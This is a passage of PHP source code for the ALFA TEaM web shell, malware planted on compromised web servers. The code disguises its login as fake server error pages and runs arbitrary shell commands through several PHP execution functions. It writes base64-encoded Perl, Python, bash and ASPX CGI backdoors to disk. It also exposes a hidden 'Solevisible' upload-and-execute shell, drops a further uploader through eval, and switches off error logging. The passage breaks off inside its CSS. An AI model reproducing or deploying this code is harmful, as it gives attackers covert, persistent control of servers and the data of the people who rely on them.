<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>';
exit;
}
}elseif($config['AlfaLoginPage']=='500'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='403'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='404'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}
}
function decrypt_post($str){
	if(__ALFA_POST_ENCRYPTION__){
		$pwd = __ALFA_SECRET_KEY__;
		$pwd     = __ZW5jb2Rlcg($pwd);
		$str     = __ZGVjb2Rlcg($str);
		$enc_chr = "";
		$enc_str = "";
		$i       = 0;
		while ($i < strlen($str)) {
			for ($j = 0; $j < strlen($pwd); $j++) {
				$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
				$enc_str .= $enc_chr;
				$i++;
				if ($i >= strlen($str))
					break;
			}
		}
		return __ZGVjb2Rlcg($enc_str);
	}else{
		return __ZGVjb2Rlcg($str);
	}
}

function _AlfaSecretKey(){
	$secret = @$_COOKIE["AlfaSecretKey"];
	if(!isset($_COOKIE["AlfaSecretKey"])){
		$secret = uniqid(mt_rand(), true);
		__alfa_set_cookie("AlfaSecretKey", $secret);
	}
	return $secret;
}
function alfa_getColor($target){
	if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
		return $GLOBALS["DB_NAME"]["color"][$target];
	}else{
		$target = $GLOBALS["__ALFA_COLOR__"][$target];
		if(is_array($target)){
			return $target["key_color"];
		}else{
			return $target;
		}
	}
}
function alfaCssLoadColors(){
	$css = "";
	foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
		if(!is_array($value)){
			$value = alfa_getColor($key);
			$css .= ".{$key}{color: {$value};}";
		}else{
			if(isset($value["multi_selector"])){
				foreach($value["multi_selector"] as $k => $v){
					$color = alfa_getColor($key);
					$code = str_replace("{color}", $color, $v);
					$css .=  $k."{".$code."}";
				}
			}
		}
	}
	return $css;
}
if(isset($_POST['ajax'])){
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}}
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
	if(!$GLOBALS["DB_NAME"]["cgi_api"]){
		return "";
	}
	if(isset($_COOKIE["alfacgiapi_mode"])){
		return "";
	}
	$cmd_pure = $cmd;
	$is_curl = function_exists('curl_version');
	$is_socket = function_exists('fsockopen');
	if($is_curl||$is_socket){
		$recreate = false;
		if(isset($_COOKIE["alfacgiapi"])){
			if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
				$recreate = true;
				$lang = $_COOKIE["alfacgiapi"];
			}
		}
		if(!isset($_COOKIE["alfacgiapi"])||$recreate){
			@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
			$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
			$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
			$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
			$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
			if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
			if($lang == "aspx"){
				alfaWriteTocgiapi("aspx.aspx",$aspx);
			}else{
				alfaWriteTocgiapi($lang.".alfa",$source);
			}
			alfacgihtaccess('cgi', "alfacgiapi/");
		}else{
			$lang = $_COOKIE["alfacgiapi"];
		}
		$cgi_ext = ".alfa";
		if($lang=="aspx"){
			$cgi_ext = ".aspx";
		}
		$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
		$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
		if($is_curl){
			$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$post = new AlfaCURL();
			$data = $post->Send($address, "post", $cmd);
		}elseif($is_socket){
			$server = $_SERVER["SERVER_NAME"];
			$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$data = _alfa_fsockopen($server,$uri,$cmd);
		}
		$out = "";
		if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false){
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi", $lang);
			}
			if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
				$out = $res[1];
			}
		}elseif($lang=="perl"){
			return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
		}elseif($lang=="py"){
			return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
		}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
			return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
		}else{
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi_mode", "off");
			}
		}
		return trim($out);
	}else{
		return "";
	}
}
function alfaGetCwd(){
	if(function_exists("getcwd")){
		return @getcwd();
	}else{
		return dirname($_SERVER["SCRIPT_FILENAME"]);
	}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
	$data = _alfa_php_cmd($in,$re);
	if(empty($data)&&$cgi||$all){
		if($GLOBALS['sys']=='unix'){
			if(strlen(_alfa_php_cmd("whoami"))==0||$all){
				$cmd = _alfa_cgicmd($in);
				if(!empty($cmd)){
					return $cmd;
				}
			}
		}
	}
	return $data;
}
function _alfa_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("\n",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
	$socket = @fsockopen($server, 80, $errno, $errstr, 15);
	if($socket){
		$http  = "POST {$uri} HTTP/1.0\r\n";
		$http .= "Host: {$server}\r\n";
		$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
		$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$http .= "Content-length: " . strlen($post) . "\r\n";
		$http .= "Connection: close\r\n\r\n";
		$http .= $post . "\r\n\r\n";
		fwrite($socket, $http);
		$contents = "";
		while (!@feof($socket)) {
			$contents .= @fgets($socket, 4096);
		}
		list($header, $body) = explode("\r\n\r\n", $contents, 2);
		@fclose($socket);
		return $body;
	}else{
		return "";
	}
}
if(isset($_GET["solevisible"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo '<html>';
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>" . PHP_VERSION .  "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@alfaGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is :  </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is :  </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@alfaGetCwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if(isset($_FILES['file'])){
if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
}
echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
<hr><pre>';
if(isset($_POST['command_solevisible'])){
if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
$solevisible = "cd '".addslashes(str_replace("\\","/",@alfaGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo'</pre>
</body></html>';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
	$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());
if($GLOBALS['glob_chdir_false']){
	$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());
}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
	function mb_strlen($str, $c=""){
		return strlen($str);
	}
}
if(!function_exists("mb_substr")){
	function mb_substr($str, $start, $end, $c=""){
		return substr($str, $start, $end);
	}
}
define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
function alfahead(){
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
if(!isset($_POST['ajax'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
	$d=trim($d);
	if(empty($d)||!is_callable($d))continue;
	if(!function_exists($d)){
		if(in_array($d,$func)){
			$dis .= $d." | ";$b++;
			$black_list[] = $d;
		}else{
			$allow_list[] = $d;
		}
		$i++;
	}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
}
return('<span class="disable_functions">'.$dis.'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class='header_on'> ON </span>";
$of="<span class='header_off'> OFF </span>";
$none="<span class='header_none'> NONE </span>";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<span class='header_off'>ON</span>";
else
$safe_modes="<span class='header_on'>OFF</span>";
$cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for($j=0; $j<=$i; $j++){
$cwd_links .= $path[$j].'/';
$cach_cwd_path .= $path[$j].'/';
}
$cwd_links .= "\")' path='".$cach_cwd_path."' href='#action=fileman&path=".$cach_cwd_path."'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\\'))
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
$csscode ='	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
<title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ::..</title>
<style type="text/css">';?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;t